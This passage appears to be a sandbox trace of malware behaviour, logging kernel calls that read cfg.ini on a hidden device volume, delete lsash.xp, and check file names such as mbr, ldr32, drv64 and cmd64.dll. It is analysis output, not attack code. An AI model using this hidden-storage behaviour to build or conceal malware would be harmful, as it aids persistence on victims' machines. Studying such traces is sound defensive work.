0xfffffa800294c450 [0130.320] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.320] KeLeaveCriticalRegion () [0130.320] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.321] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.321] KeEnterCriticalRegion () [0130.321] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.321] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.321] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.321] KeLeaveCriticalRegion () [0130.321] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.321] KeEnterCriticalRegion () [0130.321] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.321] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.321] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.321] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.321] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.321] IdePortDispatch () returned 0x103 [0130.322] KeWaitForMutexObject () returned 0x0 [0130.322] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.322] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.322] KeLeaveCriticalRegion () [0130.322] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.322] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.322] KeEnterCriticalRegion () [0130.322] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.322] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d5d000 [0130.322] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.322] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.322] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.322] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.322] IdePortDispatch () returned 0x103 [0130.322] KeWaitForMutexObject () returned 0x0 [0130.328] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.328] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.328] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.328] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.328] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.328] IdePortDispatch () returned 0x103 [0130.328] KeWaitForMutexObject () returned 0x0 [0130.328] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.328] KeLeaveCriticalRegion () [0130.328] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.329] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.329] KeEnterCriticalRegion () [0130.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.329] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.329] KeLeaveCriticalRegion () [0130.329] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.329] KeEnterCriticalRegion () [0130.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.329] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.329] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.329] KeLeaveCriticalRegion () [0130.329] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.329] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.329] KeEnterCriticalRegion () [0130.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.329] ExFreePoolWithTag (P=0xfffffa800294c450, Tag=0x0) [0130.329] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.329] KeLeaveCriticalRegion () [0130.329] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.329] ReleaseMutex (hMutex=0xf0) returned 1 [0130.329] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0130.329] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0130.329] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0130.329] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.329] KeEnterCriticalRegion () [0130.329] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.329] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.329] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.329] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.329] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.329] IdePortDispatch () returned 0x103 [0130.329] KeWaitForMutexObject () returned 0x0 [0130.330] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.330] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.330] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.330] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.330] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.330] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.330] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.330] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.330] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.330] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.330] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.330] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.330] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.330] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.330] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.330] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.330] KeLeaveCriticalRegion () [0130.330] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.330] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0130.330] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0130.330] KeEnterCriticalRegion () [0130.330] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.330] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.330] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.330] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.330] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.330] IdePortDispatch () returned 0x103 [0130.330] KeWaitForMutexObject () returned 0x0 [0130.330] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.330] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0130.330] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.330] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.331] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0130.331] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.331] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0130.331] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.331] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0130.331] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0130.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.331] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0130.331] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.331] KeLeaveCriticalRegion () [0130.331] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.331] ReleaseMutex (hMutex=0x100) returned 1 [0130.331] Sleep (dwMilliseconds=0x2bf20) [0130.337] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x70e217f0, dwHighDateTime=0x1d24fa4)) [0130.337] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0130.337] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.337] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.337] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.337] KeEnterCriticalRegion () [0130.337] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.337] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.337] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.337] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.337] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.337] IdePortDispatch () returned 0x103 [0130.337] KeWaitForMutexObject () returned 0x0 [0130.337] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.338] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.338] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.338] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.338] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.338] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294cc70 [0130.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.338] KeLeaveCriticalRegion () [0130.338] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.338] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.338] KeEnterCriticalRegion () [0130.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.338] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.338] KeLeaveCriticalRegion () [0130.338] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.338] KeEnterCriticalRegion () [0130.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.338] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.338] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.338] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.338] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.338] IdePortDispatch () returned 0x103 [0130.338] KeWaitForMutexObject () returned 0x0 [0130.338] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.338] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.338] KeLeaveCriticalRegion () [0130.338] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.338] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.338] KeEnterCriticalRegion () [0130.338] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.338] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d60000 [0130.338] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.338] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.338] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.338] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.338] IdePortDispatch () returned 0x103 [0130.339] KeWaitForMutexObject () returned 0x0 [0130.339] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.339] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.339] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.339] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.339] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.339] IdePortDispatch () returned 0x103 [0130.339] KeWaitForMutexObject () returned 0x0 [0130.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.339] KeLeaveCriticalRegion () [0130.339] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.339] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.339] KeEnterCriticalRegion () [0130.339] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.339] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.339] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.340] KeLeaveCriticalRegion () [0130.340] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.340] KeEnterCriticalRegion () [0130.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.340] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0130.340] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c07c80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0130.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.340] KeLeaveCriticalRegion () [0130.340] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.340] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.340] KeEnterCriticalRegion () [0130.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.340] ExFreePoolWithTag (P=0xfffffa800294cc70, Tag=0x0) [0130.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.340] KeLeaveCriticalRegion () [0130.340] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.340] ReleaseMutex (hMutex=0xf0) returned 1 [0130.340] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0130.340] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0130.340] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.340] KeEnterCriticalRegion () [0130.340] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.340] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.340] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.340] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.340] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0130.340] IdePortDispatch () returned 0x103 [0130.340] KeWaitForMutexObject () returned 0x0 [0130.340] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.340] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.340] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0130.340] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0130.340] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0130.340] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800294c660 [0130.340] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.340] KeLeaveCriticalRegion () [0130.340] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.341] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.341] KeEnterCriticalRegion () [0130.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.341] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.341] KeLeaveCriticalRegion () [0130.341] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.341] KeEnterCriticalRegion () [0130.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.341] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.341] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0130.341] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0130.341] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0130.341] IdePortDispatch () returned 0x103 [0130.341] KeWaitForMutexObject () returned 0x0 [0130.341] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.341] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.341] KeLeaveCriticalRegion () [0130.341] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.341] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.341] KeEnterCriticalRegion () [0130.341] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.341] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d61000 [0130.341] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.341] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.341] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.341] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.341] IdePortDispatch () returned 0x103 [0130.341] KeWaitForMutexObject () returned 0x0 [0130.342] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0130.342] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0130.342] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0130.342] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0130.342] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0130.342] IdePortDispatch () returned 0x103 [0130.342] KeWaitForMutexObject () returned 0x0 [0130.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.342] KeLeaveCriticalRegion () [0130.342] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0130.342] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0130.342] KeEnterCriticalRegion () [0130.342] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.342] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0130.342] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0130.342] KeLeaveCriticalRegion () [0130.342] _snprintf (in: _Dest=0xfffff880028b2750, 